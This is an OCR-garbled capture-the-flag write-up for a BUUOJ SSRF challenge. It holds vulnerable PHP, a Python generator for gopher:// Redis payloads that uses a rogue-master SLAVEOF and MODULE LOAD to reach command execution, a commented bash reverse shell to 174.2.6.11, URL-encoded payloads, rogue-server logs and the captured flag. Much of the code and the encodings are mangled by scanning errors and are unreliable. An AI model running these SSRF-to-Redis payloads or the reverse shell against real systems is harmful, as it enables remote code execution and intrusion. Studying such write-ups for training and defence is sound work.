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<?php

function check_inner_ip($url)

{
$match_result=preg match('/~(http|https|gopher|dict)?:\/\/.*(\/)?.*$/",%url);
if (!$match_result)
{

die('url fomat error');

$url parse=parse_url($url);
by
catch(Exception $e)
{
die('url fomat error');
return false;

}

$hostname=$url_parse[ 'host'];

$ip=gethostbyname($hostname);

$int_ip=ip2long($ip);

return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.
0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
¥

function safe_request_url($url)

{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
¥
else
{
$ch = curl_init();
curl setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl setopt($ch, CURLOPT_HEADER, 90);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info[ 'redirect_url'])
{
safe_request_url($result_info[ 'redirect_url']);
b
curl close($ch);
var_dump($output);

)
if(isset($_GET['url'])){
$url = $ GET['url'];
if(lempty($url)){
safe_request_url($url);

¥
else{
highlight file(_ FILE );
¥
// Please visit hint.php locally.
?>
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string(1342) " <%php

it ($_SERVER[’ REMOTE_ADDR’ 1==="127.0.0. 17} [
highlight_file(_ FILE_ };

}

if(izset($3_POST[ file’ 1) {
file put_contents($ POST[  file’ ], "<Tphp echo ‘redispass is root ;exit();”. 3 _POST[ file’ ]);

string(1342) " <?php
if($_SERVER[ 'REMOTE_ADDR']==="127.0.0.1"){
highlight file(__ FILE_);
b
if(isset($_POST['file'])){
file put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$ POST['file']);

}

=3B R root;
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ssh B root Z28%: 123456 thHNR O AEIES B,
2020058 118:
IR FRPS fRSS / Internal Frp$S Service:

e node3.buuoj.cn:7000

e 15 & frp, PARTE frpc.ini PIES LA TFHNZE / Please
download frp, and fill the frpc.ini with the following

config:

[ common ]

server_addr = node3.buuoj.cn
server_port = 7000
[IXEZ[ETL/randomhere]

type = tcp

local ip = 127.@.0.1

local port = 6000 # EEIZENAF 50 / The port y
remote_port = 6000 # XEFTEREIFA—1EF. EEL

4 14

Instance Info
Remaining Time: 10787s

node3.buuoj.cn:27973

Destroy this instance Renew this instance
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https://github.com/xmsec/redis-ssrf

https://github.com/n0b0dyCN/redis-rogue-server

RXBERTHELEE A TR exp.ioZH 2 TE-ANTRT, RJEHHrogue-server.py 5312 J5H T HhdE A Eredis, Aidix
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RIX B 5 Htest.shar 4

= =~ [root/redis-ssrf-master w -
EFR - Joy B SR E
o) exp.so 43KB SO0 2020/12/17, 10:46
D LICENSE 11KB 30 2020/12/17, 10:41
| README.md 713 Bytes MD 32t 2020/12/17, 10:41
A rogue-server.py 2KB Python File 2020/12/17, 10:41
A ssrf-redis.py 2KB Python File 2020/12/17,11:18
D test.sh 53 Bytes SH 3Tt 2020/12/17,10:52
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test.shif S :

while [ "1" = "1" ]
do

python rogue-server.py
done

ARG ERRTTIT e & 2 node3.buuoj.cn 3 node3.buuoj.cn

] Accepted connection from 172.16.
FULLRESYNC ...
] It's done
] Accepted connection from 172.16.
FULLRESYNC ...
] It's done
] Accepted connection
FULLRESYNC ...
It's done
] Accepted connection
FULLRESYNC ...
] It's done
] Accepted connection
FULLRESYNC ...
It's done
] Accepted connection
FULLRESYNC ...
] It's done
] Accepted connection
FULLRESYNC ...
It's done
] Accepted connection
FULLRESYNC ...
] It's done
] Accepted connection
FULLRESYNC ...
It's done
] Accepted connection
FULLRESYNC ...
] It's done
] Accepted connection 172.16.128.64:59254
] FULLRESYNC ...
It's done hitps://blog.csdn.netfweixin_42345596
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t AE TR S =k Ripayload (dirty hack , #FTFFERkemd BEKTE) .
from urllib.parse import quote

def redis_ format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = "
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd




generate rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd =
# F IR
"CONFIG SET dir /tmp/",
"config set dbfilename exp.so",
"SLAVEOF {} {}".format(lhost, lport),

# "MODULE LOAD /tmp/exp.so",

=K
"system.exec {}".format(command.replace(" ", "${IFS}")),
XEANATHRFERHS{IFSYRESH P, BN EHKredis_format MBS IRIE T4 KBEAT 73 8 7 & TS5

"system.rev 174.2.6.11${IFS}2333",
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm${IFS}/tmp/{}".format(exp_filename),
"MODULE UNLOAD system",
"quit",

]
if passwd:
cmd.insert(@, "AUTH {}".format(passwd))

return cmd

if __name__ == '__main__"':

#BEplip:

lhost = "174.2.6.11"
lport = "21000"
passwd = “"root"

command = “cat /flag"
# command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"
cmd = generate_rce(lhost,lport,passwd,command)

rhost = "0.0.0.0"
rport = "6379"

payload = 'gopher://'+rhost+":"+rport+"/_"

a =

for x in cmd:
a += redis_format(x)
payload += quote(redis_format(x))

print(a)
print(payload)




FiXANE fipayload, % —kKIpayload:

root@2778ce7ladta:~/redis-ssrf-master# python3 ssrf-redis.py

config
<3

dbfilename
56

SLAVEOF
513
172.16.128.66

! %2AZ%UD%DA%Z44%0D%0AAUTH%OD%U#%£44%UD%UArOOt%ﬂD%UA%£A4%DD%UA%£45%UD%DAIUNFII OD% %ZJB%UD%UABET%OD
0Adbfilename%0D%0A%246%0D%0Aexp . aO%UD%GA%JA3%0D%UA%£4”%UD%UA5LAF§P > / 1% A8 - %

%?BIFb%;folag%UD%UA%zn1%0D%UA%£44%UD%UQQUlt%UD%GA

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%OAAUTH%OD%OA%244%0D%0Aroot%0D%0A%2A47%0D%0A%246%0D%OACONF IG%OD%0A%2437%0D]
6OASET%0OD%OA%240D%0As et%0D%0A%2410%0D%OAdb1ilename%0D%0A%246%0D%OAexp . S0%OD%OA%2A3%0D%0A%247%0D%OAS LAVEOF %0D%0A%
2413%0D%OA172.16.128.66%0D%0A%%7BIFS%7D/f1agkoD%oA%2A1%0D%0A%244%0D%OAquUIt%OD%OA
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EXfpayload #47T Zkurl 4afil, XATELGID THIE 4 :

gopher://0.0.0.0:6379/ %2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D

%0A%240D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.s0%0D%0A%2 A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A172.16
.128.66%0D%0A%%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit

ETRAE

gopher%3A%2F%2F0.0.0.0%3A6379%2F %252A2%250D%250A%25244%2500%250AAUTHY%250D%250A%25244%250D%250Aroot%2500%250A%252A4%2500%25
0A%25246%250D%250ACONFIG%250D%250A%25243%2500%250ASET%250D%250A%25240D%250Aset%2500%250A%252410%250D%250Adbfilename%250D%2
50A%25246%250D%250Aexp.s0%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252413%2500%250A172.16.128.66%250D%250A
%25%257BIFS%257D%2Fflag%250D0%250A%252A1%250D0%250A%25244%250D%250Aquit
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string(107) "+0OK +OK +OK +OK -ERR unknown command “system.exec’, with args beginning with: “cat${IFS}/flag’, +OK "

TR, 5 _%payload:

ID%E0ArootS0D%0A%2A3%0D%0A%246%0D %

gopher://0.0.0.0:6379/_%2A2%0D%0OA%244%0D%OAAUTHIOD%OA%244%

OA%2A3%0D%OA%246%0D%OAMODUL E%OD7%0A%244%0D
6OALOAD7%OD%OA%2ACcat%24%7BIFS%7D/f1agkOD%0A%2A1%0D%0A%244%0D%OAquU1t%OD%OA


http://www.jsons.cn/urlencode/

IR HEAT = Rurl s

gopher://0.0.0.0:6379/ %2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD
%0D%0A%2Acat%24% BIFS% 7 D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit

gopher%3A%2F%2F0.0.0.0%3A6379%2F %252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aro0t%2500%250A%252A3%250D%25
0A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252Acat%2524%257BIFS %257 D% 2F flag%250D%250A%252A1%250D%25
0A%25244%250D%250Aquit
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string(71) "+OK +OK $49 0 8 € flag{150199fa-92e8-4553-a2d5-b97a1bc89fba} +OK "
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